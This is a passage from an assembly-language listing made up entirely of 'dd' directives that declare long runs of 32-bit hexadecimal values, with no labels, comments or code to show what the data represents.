dd 0D83B227Eh, 0F71009B7h, 0B8F40850h, 3B18D300h, 24DF22FDh
dd 0C1609DD4h, 0E0AC984Bh, 0CB05602Dh, 0D115D567h, 9B2FD498h
dd 78225Ch, 585303CBh, 70137B07h, 80C0A658h, 7855FED3h
dd 0FF210741h, 4003F7F8h, 0E5912AEBh, 50180249h, 6D3EB08Eh
dd 0EA0802Dh, 7442A685h, 0AAA1669h, 443C4197h, 7295A3C7h
dd 0A22230h, 4A86E691h, 920A2124h, 0F32D6F1Ch, 55B3AA40h
dd 2E0C80A7h, 0C07C6588h, 17727B1Bh, 35222605h, 2C04A0C7h
dd 8CC81F57h, 0C93860A5h, 92DEAFECh, 8BDFBE00h, 0F93E3F56h
dd 136B2967h, 6CE48090h
dd 0AFC00E2Ah, 142D4A2Eh, 0E08B41E0h, 1891EFh, 1791BBF1h
dd 300574Eh, 5B34E3ECh, 0A8C71833h, 0EEEAACh, 86053C4Ah
dd 6110E98Fh, 1603E03Ch, 0DC228C21h, 2CE52FA4h, 0D1E90346h
dd 7C906C1Fh, 5C00B1ACh, 6E27D49Bh, 12D0FF8Ah, 564D7AC4h
dd 6C243028h, 0D500CA7Dh, 0E499FD0Fh, 4D2DE15Ch, 4B80EC76h
dd 3E5F7BA7h, 0E5ACD214h, 0D5CD8094h, 9445F3h, 28F532EEh
dd 0EAAC9A48h, 892A600Eh, 6227689Fh, 3C80B5CAh, 1F3D3234h
dd 5D6DB4A8h, 2C9C4056h, 7D3EEC1Dh, 714A2F35h, 415E8D82h
dd 0EC08418Ch, 7D3A2CB9h, 6FE5302h, 40AC9DBBh, 0F23E97h
dd 59803C0Ch, 0F6128643h, 5D40A00h, 6098C92Fh, 1F54BB5Dh
dd 0A65178h, 6459AF22h, 735875h, 98FE42D2h, 71B10756h
dd 0D4705B00h, 0E75F7943h, 9832463h, 0FFB05820h, 0CEF4D907h
dd 52005992h, 469A3575h, 9FCA13C6h, 9083421h, 39138833h
dd 883434D7h, 0A8015EB4h, 0E043C3EAh, 9441A024h, 29B98C05h
dd 606B7A00h, 1E31F249h, 0DA06DE14h, 0AC9D24C5h, 32124F11h
dd 183C8982h, 3F0739F8h, 6C8D0B1Ah, 24F2881Ch, 40FCE4F4h
dd 5A4AE6EAh, 640BCB29h, 5137E00Ch, 86FAF6h, 5DCF08FEh
dd 65DA466Bh, 8C6ED2FBh, 0E2DE716h, 0F8F2F020h, 403C13CCh
dd 1D284872h, 168B6480h, 3F79B1E2h, 61006D87h, 0EC2C2B0Eh
dd 0A414ADB6h, 216CA70Ah, 49D0084Ah, 7AE74260h, 0C8CD0A7Eh
dd 60D428A8h, 787AD3Eh, 864D260Eh, 442C01F4h, 0E018773Bh
dd 1D312160h, 12EFE966h, 60D4DA3Dh, 10C575Ch, 0B7C7D4A8h
dd 86309B4Ch, 0A119BD78h, 487018E0h, 8C6492D1h, 23321AF4h
dd 0DCC16925h, 467112A0h, 34615D54h, 0D544E980h, 0D81880B1h
dd 9A3188F0h, 7A760063h, 0CC1DBD79h, 75018ACEh, 0DBB7A531h
dd 50348709h, 2B9C0268h, 0AE9D6AD5h, 81945051h, 7D29CA4h
dd 50D0C801h, 0B82C23B1h, 30E32F16h, 44BCBA24h, 0DB574300h
dd 46747F0h, 4C3A02A1h, 0FB8A115Ah, 1852DCEEh, 0D3BA6094h
dd 7CD863Eh, 0B0F2CAFCh, 0CDAC5A60h, 3A0C64E4h, 84513C1Eh
dd 4089DC0h, 29DCB848h, 90BC0D82h, 4BB2C8A3h, 781B1402h
dd 4105C858h, 0E096B53Dh, 814CCh, 74E9B74Ch, 6B1F3E2Ah
dd 982DA625h, 2131CF10h, 94804D8Bh, 2EC21375h, 3A2B447Ch
dd 92965B27h, 327C1018h, 142F507Fh, 0D9FA688Dh, 841F10FCh
dd 98528CD7h, 0D5C5778h, 9562B070h, 5F8424A7h, 25919Ch
dd 0D3049119h, 9815B5E7h, 0B0A2596h, 9C89E8ABh, 160FE818h
dd 0BA026800h, 0E0B70513h, 33891EDEh, 0EA300104h, 915E9DE1h
dd 0C42622A8h, 57C540E8h, 3500BDF5h, 60EEBE53h, 5C637B29h
dd 0FB114C0Fh, 678D0483h, 0A5204DBDh, 0B42956B2h, 3E40B444h
dd 58A907Bh, 0BE39CEFDh, 17884694h, 0F217B174h, 1A00F8B1h
dd 0A21A705Eh, 4B860087h, 575D6BE6h, 0C909F761h, 48CA9E54h
dd 1812EF6Ch, 8C4E6C31h, 6B246D15h, 0D1131FBCh, 7D529A00h
dd 9289C51Dh, 7EE0320h, 46F3AEFEh, 0E99C8CC4h, 9800B491h
dd 0A6183EFBh, 1C17E84h, 919F948Bh, 33B6C7CAh, 446CC4ECh
dd 0BE453F80h, 107D3E1Dh, 60C4026h, 0E1500B82h, 2407A52Ch
dd 0CCCEF640h, 8FDD00D9h, 50BF883Ah, 0A104DBFEh, 4E289E49h
dd 0B07828C7h, 51D41F60h, 0BF865E1Eh, 42C1F026h, 20727820h
dd 22793213h, 5452C46Ch, 52403107h, 0D2E01222h, 597C12Bh
dd 59488F6Eh, 32388135h, 855200B7h, 0F95000CBh, 42B0FF53h
dd 90E78CCh, 0A94AD516h, 99FC14D6h, 0CF50024h, 0A0FAE013h
dd 20890CB3h, 748C18A1h, 0C84B8853h, 103CCF2Ch, 0F6459D80h
dd 1FD243EFh, 0A85FD23h, 11BC2D6Dh, 17340C68h, 74971CEh
dd 0B369319h, 60D11782h, 98BE77D4h, 0EC07C403h, 85DA492Dh
dd 24239492h, 0D34C9828h, 80981748h, 9451799Dh, 86FE2C67h
dd 974007B1h, 341230A5h, 63016DA6h, 9A4B576Ch, 68683FE7h
dd 895B3D80h, 6E1DD035h, 1180946Ch, 5DED8E20h, 0E8010267h
dd 0CA98315Ch, 0D000B044h, 8990B053h, 0B0F8F2Ah, 8155EF4h
dd 4505A84Ch, 53E94678h, 522FA860h, 0CDE52A44h, 0F2C50084h
dd 72358641h, 0D3E6C81Ah, 0C6BFF40Fh, 46680029h, 9876CBB6h
dd 13572694h, 203C5938h, 8F4A900Ah, 5C21B060h, 2EDCA4F8h
dd 60F0357Fh, 2F58EC97h, 2420FE5Ah, 7403B38h, 20AA3280h
dd 5C6E90FCh, 0B047B66h, 3E0FB43Ah, 0C50A0F2h, 5F3703DFh
dd 9EA7AB11h, 248D75E1h, 0BC942864h, 0CF853EC0h, 590409A3h
dd 9C4955ADh, 96A180F7h, 0C1A3F8A1h, 64EE0F0Fh, 43B62BB1h
dd 9513226Ch, 40185924h, 11C6A40h, 302B004Ah, 2BA7B44h
dd 580085B3h, 0B417C6DAh, 0B13AA831h, 1C6080D4h, 0A0A24A98h
dd 19353B2Dh, 0B8673F64h, 0D7981078h, 0A84D002Dh, 0E20EE916h
dd 521307B7h, 90A58FFBh, 0C3F9CEF8h, 9A35BE0Bh, 40109920h
dd 0D262439h, 6C546078h, 10712B3h, 0DB07AD7Bh, 73FE5FC0h
dd 72920BA4h, 0C0901744h, 61E2C83Ah, 0E7387D07h, 27A19671h
dd 88209E57h, 3732885Bh, 5413C72Ch, 92A69488h, 37ECD018h
dd 0C300A73Ch, 8BA24149h, 1751E519h, 30EBB9B0h, 0D2985618h
dd 68494304h, 44C242CAh, 80AF2535h, 92286008h, 0C3F1B20Ah
dd 0CF808CA6h, 770E5C3Dh, 28482DEFh, 2D390439h, 4567C7C0h
dd 4BB9F530h, 0E5C5AE1h, 2E717588h, 73080C27h, 60342C77h
dd 0C0A3D90Ch, 1C56B802h, 66BF740Dh, 0E4C31504h, 35009CCDh
dd 1C07776h, 0C400FE42h, 2857406Fh, 66BEF0h, 7D8E5FE8h
dd 776DB92Fh, 0ECA63826h, 5AFD6440h, 7F9C77EEh, 0ABF502F4h
dd 0D511416Eh, 933F0B60h, 89D8405Dh, 24106C19h, 50548866h
dd 0D10FDD78h, 0AFA32E02h, 159720C3h, 6821F5h, 3916E4CBh
dd 282631CAh, 88A144B9h, 47208027h, 0A0298032h, 8BA0A110h
dd 3CBCF2E1h, 76951150h, 0F99BF13h, 80BC93FBh, 0F216607Ch
dd 0A8C9619Fh, 0BB24824Ch, 6C0B0921h, 4EF3A048h, 0B3431500h
dd 0D9ACEE8h, 4FB200A1h, 1EED60D2h, 9725682Ah, 6AD4B05Ch
dd 0EE980519h, 0E6FE15DCh, 0F03F0010h, 3BD1A3C1h, 3DC8C9E7h
dd 7AC45810h, 791879C0h, 3FB930DFh, 740EC6EFh, 65A03826h
dd 121B5816h, 0B1325527h, 0DD10C87Ch, 0EB0BC066h, 0B1770h
dd 7F8C1B74h, 39990972h, 98A009E5h, 0BDF722EEh, 0EAC71D00h
dd 62E9BB7Eh, 2E57194h, 466DD203h, 0B8ABD42Ah, 8B9B4883h
dd 0D8B2A0A7h, 5D5073EDh, 0F2051B4h, 43054ED9h, 212A1378h
dd 2F4C71A8h, 2BFE6400h, 8C0BED28h, 0F8F9005Ch, 202A52DFh
dd 8A2C75E0h, 0CAC06440h, 98933Eh, 5C0F9760h, 2235FBBBh
dd 0D5A8494Ch, 1F57843Ch, 5DC740E4h, 8BA06CA4h, 72245F84h
dd 0F88B45Dh, 2244908Eh, 88345883h, 26001C22h, 0E5D44DE7h
dd 7A62F30h, 3C6DA274h, 2D36D3B6h, 0A0F0BEABh, 50012171h
dd 28E7459Eh, 0E8685430h, 14486BD4h, 195DFF80h, 6E00F2BCh
dd 732157B1h, 2C84AF31h, 44680A20h, 3A6471Dh, 0A9334AA0h
dd 0E927019Eh, 3A074B8Fh, 2B429226h, 448BE08Ch, 355A6D28h
dd 6498D816h, 84BD016Ch, 2DBE8087h, 104F2BA5h, 0F822E04Ah
dd 28CD5F5h, 0A7F07FE8h, 68E0736Ch, 35FDCCC8h, 808468DCh
dd 204734FBh, 0C4374CDCh, 2757A322h, 383106E8h, 9C9912FCh
dd 0DD6E4064h, 5D00453Bh, 210318E7h, 0BB6FE8h, 4B4A902Ah
dd 3437E30Ah, 4E60400Eh, 6D2FE4C4h, 5EA71C80h, 3E51058Fh
dd 0CAC20487h, 537310E4h
dd 22298200h, 0C9F5D9DEh, 0F017FC00h, 0C7A97E37h, 0FB904CA1h
dd 0CAEC305Fh, 4B4E5CBh, 24537442h, 0E64F26Ch, 4AC8C9h
dd 7FD2D585h, 1319F008h, 758DA1D0h, 4B2C0858h, 0C4B1578Bh
dd 32154F68h, 0BD603900h, 8EDEE098h, 94309D96h, 0EBBE79Fh
dd 20989A0Eh, 0AA3FB380h, 9D2E39C6h, 0B040DCA6h, 1DE3E9C5h
dd 0BBB46C68h, 52DCAB80h, 0B6331130h, 87DDF314h, 0DCB4A594h
dd 0C40B0083h, 40F2F24h, 0B84E0231h, 1038B832h, 700B3E15h
dd 0C1EEAC9Dh, 0E1A58F70h, 7400B044h, 0A8534495h, 2791CB63h
dd 0E494C0D1h, 80C00648h, 89347EC8h, 15A901A0h, 0CA462E68h
dd 0A04D037Fh, 5A1C46Fh, 0E2EB1AA8h, 0BD158010h, 8476549Bh
dd 0A6D67C09h, 0FC188089h, 9E0FF351h, 3C840D0h, 0F93EB4F2h
dd 0C52F0092h, 0F4B70D0Ah, 9AAB2491h, 524EE2A0h, 0F8B6722Eh
dd 84000622h, 57F6732Eh, 0D59E78h, 0FD40C953h, 87542BB4h
dd 1294EC48h, 0B41F6D8Dh, 51BE2600h, 5049E9C8h, 8B9B982Dh
dd 58544252h, 0B18874B0h, 161E00DAh, 0D35F9DD4h, 4F124B27h
dd 8CD00572h, 0B8C6Fh, 7E0341F2h, 9D85253Eh, 3BD058h, 44E37BC9h
dd 0B339D1A1h, 3E023D4Ch, 510E804Eh, 75007451h, 39AA037h
dd 0C1B60713h, 0A01A7AF9h, 0FC46AD6Fh, 20837413h, 729554D0h
dd 0E2A9046Ch, 0C8E5AE93h, 0CE7FA8BCh, 1738E648h, 48C8A25Fh
dd 88F07813h, 70004CB2h, 0EE90DB9Bh, 6E1257h, 4EBC6297h
dd 0CAB7EFF6h, 44D85C4Bh, 6A74BEA2h, 8C6608B0h, 295AD0A8h
dd 4C304829h, 0E028BC2Dh, 272C2253h, 69878B05h, 0AE825D0Bh
dd 4404795Ch, 8C852A7h, 9B784CB8h, 0CCF47B12h, 3F00B62Ch
dd 44EC202Fh, 35C72DA9h, 0B0B18AA0h, 2A38B3B0h, 0C1BF8597h
dd 0A984C871h, 1E7A308Ch, 65A27210h, 62001C6Ch, 3E5B78A4h
dd 2686A8E2h, 50E4160Dh, 50A01483h, 0DA02BF3Dh, 19598C3Fh
dd 443CE02Dh, 43389035h, 450B3E7Bh, 401EBAF7h, 27822030h
dd 0C43171E5h, 13343DCAh, 0FF00C188h, 0A825B10Eh, 0C0100B33h
dd 0F812753Ah, 420010F1h, 87D063D4h, 6DE4C8h, 4BC486CEh
dd 0E113C991h, 0CB1DB70Eh, 5B4F606Ah, 1C63F5D8h, 0C0DAE6D6h
dd 7FB7428Ah, 3739DD8Fh, 0F4330E39h, 0A2D34322h, 4F5AD895h
dd 5025182Ah, 0AEC6182Ch, 0E71024Ch, 0F29C858h, 5B1D63E9h
dd 0EFA990B0h, 0CBBC0565h, 0C054C0FEh, 0F423DED8h, 0CA296300h
dd 850662F0h, 2DDF0043h, 0B1EC1D0Ah, 8D00EDAFh, 0CFDE96CBh
dd 0F554F8h, 1ED56B15h, 7B03DFC6h, 845D9D00h, 0B02B22Bh
dd 4701009Eh, 0A3666BC2h, 94008719h, 144E28E9h, 61813D21h
dd 6415797Fh, 4900D339h, 0AC299E3Eh, 0D8E463h, 0F694C523h
dd 5C15CB4Fh, 85293A6Eh, 200E7E47h, 0A4009161h, 4E1D204Ah
dd 3F016FCBh, 458F7031h, 2080F54Fh, 0B37C1396h, 8E7298EAh
dd 0E1DEC200h, 3FDC933Bh, 6FF418h, 6701B237h, 0C8804647h
dd 70DE780Fh, 85520D7h, 75355768h, 3CA00FA2h, 6482E8ECh
dd 0A8A0C7BCh, 7DA9BDF9h, 28130700h, 10743911h, 80CA6299h
dd 62C1B323h, 989BF487h, 788D6C00h, 0E00A5BC7h, 4A3B189Ah
dd 1FF428CCh, 8AE8E754h, 61F7A500h, 0BEEAD44h, 4A8514DEh
dd 1538C4CEh, 3F6A998Ah, 38180CEEh, 57EA5678h, 8A58A000h
dd 5DBD3A94h, 0A2292A14h, 0F8230DD8h, 0E061CA16h, 0D0A68B57h
dd 64378503h, 0AE898D05h, 0CB7331h, 3FB74652h, 0AF14A276h
dd 0E59F5100h, 0F587863Eh, 33A002Dh, 4076A7A1h, 54A460F9h
dd 50A84CF0h, 1D0A9902h, 0B0D3BF92h, 4C4DB89h, 0F940AF4Ch
dd 3A606142h, 4F2230C1h, 0F450F143h, 10CA23Fh, 5899C995h
dd 26021F04h, 88850C30h, 53B9C3h, 0E871EC38h, 0BD584137h
dd 2207C21Fh, 802D500Ah, 2F9DEE80h, 45E315h, 17DD90D5h
dd 0F63CD4CBh, 0D1AADA09h, 1F44192Dh, 5B00B422h, 6ED4AFA5h
dd 6A006369h, 0BF0A23A8h, 148194B2h, 0FC8A3C1Bh, 0C972280h
dd 0FA00B14Bh, 67127DCBh, 5411BDB0h, 64E4C9h, 46425B9Dh
dd 0C538B6EFh, 9EE0EC54h, 57D7B340h, 0D060D454h, 0EA3015E4h
dd 23B86F56h, 308B0CDAh, 0DB01DE89h, 0A0266427h, 0F0E45909h
dd 8DC000FBh, 5893C867h, 83052535h, 0BD2F571Bh, 1146009h
dd 333F6934h, 88BB7820h, 0DD549448h, 720AD8CCh, 94E5554Bh
dd 993F8103h, 0CE41001Ch, 9DC1F00Ah, 7A0AD301h, 0A42F509Ch
dd 0FB078380h, 38FEE31h, 519BB5AAh, 0AE972EBBh, 3C3F7880h
dd 24983797h, 0B9F8A100h, 0C167F3C5h, 589F07A0h, 1072B20Ah
dd 4F4035Ah, 907AA928h, 993C3E09h, 59A820C1h, 7D52018Ch
dd 3A103994h, 2405A2BEh, 0BC2E67h, 0EC476A74h, 0C5015C92h
dd 24BAA3Dh, 40317766h, 80F564E4h, 31CB4E88h, 0FAFD01D6h
dd 0EC80F827h, 45E6E86Dh, 0EA00066Bh, 3C5F1ACFh, 70CD910Bh
dd 86549342h, 0A1D89D32h, 4C76F00h, 0AC6B08FDh, 2964A81Eh
dd 71ED61A3h, 50E6FD4Fh, 19A72E9Ch, 0E5FF0CA0h, 8F13F89h
dd 0FA89C830h, 0A63D26FDh, 0B315618Ch, 58FC2421h, 454C1498h
dd 76819FACh, 0FB5C1601h, 0A3BB9E40h, 0CD1009D0h, 0D004C5A6h
dd 0A015409Fh, 0A1DEC3FAh, 4443BED5h, 665FEA39h, 7DCF21D4h
dd 8920B308h, 14104A95h, 0B9242FD5h, 14683467h, 904B3A8Ah
dd 8DC76740h, 768424CDh, 98CC60F0h, 0A1FA42B2h, 588B7026h
dd 0B5A7B840h, 0C690002h, 0FABFA39Ch, 4600B34Dh, 2BA1B1A6h
dd 932CCA0Dh, 0E711ECh, 1CD75609h, 9BEF5DD5h, 0AE67805Ch
dd 5A641A34h, 5C1EC4A4h, 0DB4F8B80h, 0DC163250h, 0B9F0041Dh
dd 7A2C166h, 0AF9CD8E3h, 597700BEh, 0A97EFF22h, 286B9D09h
dd 69EC305Bh, 0D947303Dh, 3FC73341h, 0D46CD204h, 0C8C1845h
dd 0ECBD53D6h, 88D86604h, 4323004Dh, 0B073281Ah, 0B5D900B5h
dd 0F93677F7h, 723AA995h, 8149BE7Eh, 3D388CFh, 420F402h
dd 0C8EE8826h, 4458BDh, 1BAD2A12h, 260FAC10h, 87AA5702h
dd 4156A249h, 2A112708h, 95F45030h, 4100DB5Dh, 0D78D8E49h
dd 0C03345FFh, 0E97F9A59h, 0ABEE1D5Ch, 74142430h, 73B278DBh
dd 0C9359h, 4608D49Bh, 791317E1h, 0D821FF65h, 51802744h
dd 0A53B2CADh, 0D8005E45h, 4FB53E98h, 0B9AE2BB2h, 24A9881Ch
dd 107D5242h, 968520B0h, 0C5F85F6Eh, 81BAA9h, 0B6B802D0h
dd 41D40C3h, 78E42E66h, 0AC019940h, 0A58805F6h, 2126023Ch
dd 30533EDCh, 96020190h, 0B1F29415h, 449B186Ah, 0A381306Eh
dd 0F0F3A980h, 0B17F112h, 1F96DBCFh, 6007E080h, 0B007BC24h
dd 50194571h, 0A68184AAh, 1C3E4E72h, 2F226427h, 3564F100h
dd 0E2A2CD07h, 2D3C01E6h, 72B61731h, 221067D1h, 0E4B10001h
dd 0D77BEA8Ah, 792C8949h, 6A12A38Ch, 0DE146C21h, 0D0AD2E10h
dd 22087858h, 0CC2A5CF3h, 18C85580h, 0C324402Dh, 3BC17058h
dd 244021AEh, 1BDD29Dh, 4C472BCh, 41426932h, 2DFCDD4h
dd 38FC901Fh, 339000C4h, 68B56DD0h, 0E300BFBBh, 9293C7F3h
dd 862AA610h, 391A1F30h, 329D20Dh, 163A8CC5h, 0EE98BFFCh
dd 0FE7BF728h, 2336240Bh, 0DB0C199Dh, 0D8246003h, 1350701Bh
dd 2C491218h, 34A9E056h, 8ABCA102h, 0E354FB30h, 79AE47h
dd 4927ABC8h, 0B5FF25E5h, 77FA9E00h, 547C70Eh, 70D94CE4h
dd 4A152C40h, 0C5843066h, 4F4DBD99h, 731F773Ch, 0F42EE93Bh
dd 9D8C81CFh, 3E8272B3h, 0C79C33D7h, 3C019864h, 0AD16242Ch
dd 8802F579h, 570004E4h, 0AB6645DCh, 2A4EA72h, 3A545C28h
dd 1EC06942h
dd 6E0C83Ch, 0F04C642Ch, 4AA1D440h, 9F88B1E6h, 5442233h
dd 99CC0067h, 0A01B067Ah, 88947080h, 10810865h, 0BE113EB3h
dd 9AC1ECF7h, 62953Fh, 97F9A102h, 946FE2FEh, 3DB2E374h
dd 3CAE3900h, 6B7BE9C2h, 0FD7519AFh, 8729203Eh, 16D603E9h
dd 85F01389h, 4829FC98h, 4F8378BCh, 0E1264A43h, 5048843Fh
dd 3860DA81h, 76F8A34Fh, 90CD722Ch, 3C16100Ch, 58D85DFBh
dd 5256005Dh, 0CD1C93DEh, 0A4DA04F1h, 8DA6D0F6h, 0D046C210h
dd 9740C03h, 0C16940E3h, 0D8DFB54Ch, 0CB3F17Dh, 326416C4h
dd 53583A89h, 0C70A8084h, 7C4F76FAh, 209D48AAh, 74210095h
dd 2A12A0A3h, 8777B8D0h, 0EFE20EDBh, 0EEFC2567h, 5960059Fh
dd 0D690DCB5h, 0DCB4C38Ah, 11E3F492h, 32D91017h, 0F0680029h
dd 242F4043h, 7B1E0B9Bh, 0CCE8068Fh, 0D0535F4Bh, 36217470h
dd 68584C64h, 0F70E9580h, 809CDC2h, 0E28896h, 563C0108h
dd 33503092h, 99343929h, 5BA8311Ch, 0E11C9D82h, 0AB486020h
dd 0D1ECA81Fh, 0BB80AC78h, 0ED243854h, 0D866129Ch, 2CB98B9Ch
dd 0BD115400h, 4B49910h, 16893655h, 4E2888A8h, 7060DB61h
dd 90275B65h, 671E10h, 9DB53A66h, 7351C40Eh, 6B3C2C22h
dd 0F2886900h, 0A9E140F0h, 79766F27h, 4DC78C00h, 0ADBF5DE3h
dd 61F8B31Eh, 70F8952Eh, 0EC7590F4h, 673FF892h, 0AD0B735Ch
dd 803E1CC8h, 0DC438634h, 60B829h, 60669049h, 56484647h
dd 18D77825h, 604465DCh, 5E3993Ah, 931D18EFh, 588981FEh
dd 783280A0h, 4C41BF1h, 7ED7DB19h, 0DDA0A488h, 95422F07h
dd 0C08ABC5Fh, 7C8843C4h, 8C409444h, 0BB5060E2h, 0D1C1B50Eh
dd 6C6FA974h, 1B1E308Ch, 94478D39h, 65A0D700h, 48B1B7C3h
dd 337F00BBh, 1EB9D055h, 6F01057Dh, 0BD960B3Dh, 0E8200193h
dd 0D6E1023Ch, 6E6B5F66h, 10076449h, 3B34915h, 2FD05AA3h
dd 0C900DFBFh, 0B5320799h, 0AC3DD34Ch, 0D9D516DCh, 0C0CDC708h
dd 30362822h, 0B4788325h, 1EAF03C0h, 3ABE2F57h, 0D1146103h
dd 3DE88A02h, 0C500C111h, 943120F5h, 0D53EAB0Eh, 76E0D426h
dd 8B171494h, 0D50FF020h, 0DB6A0F25h, 803F243h, 7F98C176h
dd 312674CEh, 0FDC0BCDFh, 0A4304264h, 463244C0h, 21EE2400h
dd 0C4D28474h, 2A6F02E5h, 0A46833DDh, 7859C0CAh, 648AAB00h
dd 4851ACE7h, 600027A1h, 89BEBDFFh, 0B893D93Eh, 0A3894C90h
dd 311F5C30h, 0B23951C0h, 2E2671h, 0CF3D410Fh, 0DA6208Eh
dd 0F8A66490h, 77DBCA0Eh, 698BFDEEh, 1C108516h, 11618C1Dh
dd 0A10B03CAh, 0DD431E9Eh, 15C0CC99h, 10785861h, 9D056480h
dd 39C14B89h, 511044E7h, 3F8FA8D4h, 775CA6D8h, 0EA613D0Dh
dd 0C1B02830h, 8E559E0Bh, 1F9AEE4h, 2392193Ch, 69269128h
dd 0EB3200A8h, 4174D29Bh, 0BF7100CFh, 0EEB176D5h, 11008E34h
dd 21A73C94h, 2CA0A367h, 25407EFFh, 648160B2h, 62899147h
dd 25C900B0h, 60B8567Bh, 5836151Eh, 6FC2B067h, 6C80993Fh
dd 1EFEEC35h, 39D13E0Bh, 500FDADh, 0F7FC2DA5h, 6D9E3402h
dd 6471C9DBh, 1B5A3268h, 0B8C444E9h, 8FB88500h, 896E29F5h
dd 0E04202FFh, 0DDF97ABAh, 2344DC78h, 3C93DAh, 0F09FD135h
dd 5312B803h, 0B8CB23D4h, 107A4B00h, 0DC8FDF68h, 13649E8Ch
dd 32AC04D9h, 0A0341366h, 0D253CFC0h, 8AB00018h, 1AE809F7h
dd 0DB12D59Dh, 600BFCh, 45A81538h, 0C1A83028h, 0E23C6688h
dd 0DC165486h, 6132631Fh, 0CAC0C04Ch, 461DBCBDh, 0A140A92Ah
dd 0C28A38D5h, 54664B16h, 234A1544h, 5FA46B2Ch, 69C04A0Ch
dd 0ACA41Fh, 7778960Fh, 29761C33h, 6646D907h, 0E3C08BCBh
dd 251EB399h, 12C6C9h, 698AFC98h, 135589Fh, 3E905B66h
dd 401DEA50h, 0D5CFCABBh, 199168B3h, 0CB4AE31Fh, 2C40613Fh
dd 0B1CF132Ah, 0FE00F654h, 29F9EDA0h, 3BBC09E4h, 0D0807F47h
dd 0F1BA40B4h, 0A9B0F70Eh, 2413F65Ah, 5628C8h, 0ACB5354Fh
dd 256D20DEh, 57ADCA00h, 0CCDC84D6h, 5940FABBh, 3980FC48h
dd 863FBD69h, 58B0F2EEh, 5F89005h, 0DC8B3E5Dh, 60334112h
dd 0D17A9BCh, 0F1AF670Bh, 25E0387Fh, 422CBC75h, 461A3EB2h
dd 0CF1D0064h, 18B8E395h, 9A0E32A2h, 42BEBA1Ch, 498C0F8Bh
dd 60325884h, 1140D724h, 5E15160Ah, 7CCC6024h, 0CCD00062h
dd 2F42FC95h, 19C3D4A2h, 2FF5B04Fh, 44204479h, 0C8D48929h
dd 0F7E8500h, 98D152A4h, 0C1AD006Eh, 70B475CDh, 503BAF6h
dd 51C76FF5h, 1C712265h, 0F36AC300h, 0AA96FEE1h, 92C7E42Eh
dd 1815588Ch, 0FFC67448h, 444EC9DCh, 0FB2E8440h, 0A3223Ch
dd 0D71A2061h, 91CB5F54h, 0DCD03E02h, 0E00BD103h, 2470E528h
dd 11BC4CC8h, 16FE0733h, 0B9906C19h, 2492188Fh, 910DA3Bh
dd 4C604DC9h, 38034AEDh, 3CDFD049h, 4B882231h, 0FBA00912h
dd 0EEF94C8h, 3ACEA6D6h, 7132C740h, 4112AED7h, 78C738D9h
dd 846A1A02h, 8CF240F0h, 7427D440h, 97C98011h, 0EC081400h
dd 58A6D705h, 393E440h, 0F148CFC1h, 2682B881h, 51003C72h
dd 186B3BE3h, 389A3Ch, 3EF837AAh, 143D0D67h, 51EF1898h
dd 0E07DE998h, 11D725B3h, 86AB1420h, 2100026h, 3F490554h
dd 334FDC9Eh, 17F95460h, 12670075h, 0B5C17038h, 0E70C4A77h
dd 48A6190Ah, 27FEB805h, 0A0209C3Ah, 0A92F9D66h, 326CF00h
dd 6879C6D6h, 45EC92FEh, 0D898EDE8h, 430E1F7Ch, 40EFCBE0h
dd 0FE4F309Ch, 2C9C91FCh, 9D506034h, 481DE46Fh, 1BC13212h
dd 21A02E4Dh, 0C0D23C41h, 176401DCh, 447A61AFh, 82DCAE98h
dd 0F482EDC8h, 2624C169h, 0C880B4h, 0AA929366h, 47112130h
dd 37A20B00h, 27AD2E28h, 0FBB000D6h, 0A9C3769Dh, 0FA07FC4Dh
dd 0FDCC36C0h, 0D4788080h, 2A18C6AEh, 0E4F808D8h, 359D0700h
dd 6DC83E25h, 0B2FA00F3h, 658B6460h, 5E30DDA3h, 0CB4D40F7h
dd 68E0C0h, 951DFF51h, 36C101C2h, 0A90CFC75h, 61960E25h
dd 1B56006Eh, 699FE587h, 13002BE2h, 0BBAB83CEh, 795FFC25h
dd 8FF13D60h, 900EC38Ch, 7D00EA39h, 0BFDBFF7Fh, 1EF5980h
dd 3CCB50EEh, 20555779h, 39C79BE5h, 63D108B3h, 2BCCA732h
dd 19EE03ECh, 8A35FF8Dh, 0F5AB5105h, 0EA806701h, 77113B42h
dd 0DEFF0004h, 43DA6DA4h, 7158B44h, 88AB2Bh, 60DF5BCFh
dd 62BC41h, 0DD2D536Ch, 0F703EC0Bh, 0ACB39C3h, 0ED3103D3h
dd 8C42CD7Fh, 26411118h, 3F49A908h, 0D680FAF2h, 32BB5F1Eh
dd 0B1EC45BAh, 57338DF2h, 86D29F9h, 0E44B0460h, 0C18C358Dh
dd 73BB65F0h, 7B5F0039h, 0EF725A62h, 130C44C7h, 29D5789Dh
dd 0E8A425h, 7A5033E3h, 2FB2EBEEh, 0E072D8FDh, 69AA831Eh
dd 3080089Ah, 60628084h, 0C19D49A7h, 0F18E90Dh, 0F5A18741h
dd 4F90E2h, 0D5B877B0h, 749EA786h, 0D08F3700h, 63DBEA5Ch
dd 776C00AFh, 0A7CB296h, 0BB24D78Eh, 28841CF6h, 2087B6A8h
dd 5865AC7Fh, 7DEB01C9h, 359CC0EFh, 81404096h, 5200CFF9h
dd 0B373174h, 9EE9960h, 5FBDF262h, 0E1BE3400h, 0CD34D789h
dd 0C80861F9h, 0B5D68FA7h, 0BDA1978h, 13B6470Ch, 3A8618Eh
dd 0BE53FE79h, 0B0D6B1BFh, 0FFDD2E01h, 910EF263h, 38802980h
dd 0EE365435h, 1FA77607h, 0FE1D8A4h, 402424C4h, 57E56h
dd 42E79560h, 62773794h, 0DA53DB1Ch, 0DD3BEC00h, 7971F279h
dd 0B4D21ED3h, 0F8BE8086h, 0E4B829E5h, 4F0C0BECh, 798D0EB5h
dd 1C300010h, 94923C37h, 7C032499h, 0AC60FF62h, 36C4887Dh
dd 9B7F3Bh, 0B9783D29h
dd 0D9FF9825h, 202DBF30h, 40A98E52h, 6E906CEBh, 0A4C58604h
dd 4D05B0Ah, 0FF29F4Dh, 5E6540A0h, 0B1251D40h, 0EC00AF42h
dd 318790D5h, 3C268B8h, 2DBEE9E0h, 9BB03DA3h, 9E76AC62h
dd 281DC401h, 0AB947F42h, 6C50F03Fh, 5DB88D77h, 0FD3FFA07h
dd 0F5307638h, 614B9DC9h, 5C8CE1DFh, 232C2582h, 1D5D002Ch
dd 59FDFC9h, 0CA240081h, 45BDACB2h, 5E076E43h, 8C4CC340h
dd 287B79B0h, 0FFDF0019h, 3012C0B3h, 200E5E2h, 597DFC72h
dd 7849AF6h, 752E298Eh, 0ED822147h, 4056CDE7h, 54E04090h
dd 0EED0EB00h, 3A4DC7FEh, 0A86354B2h, 68433052h, 0BFCD9528h
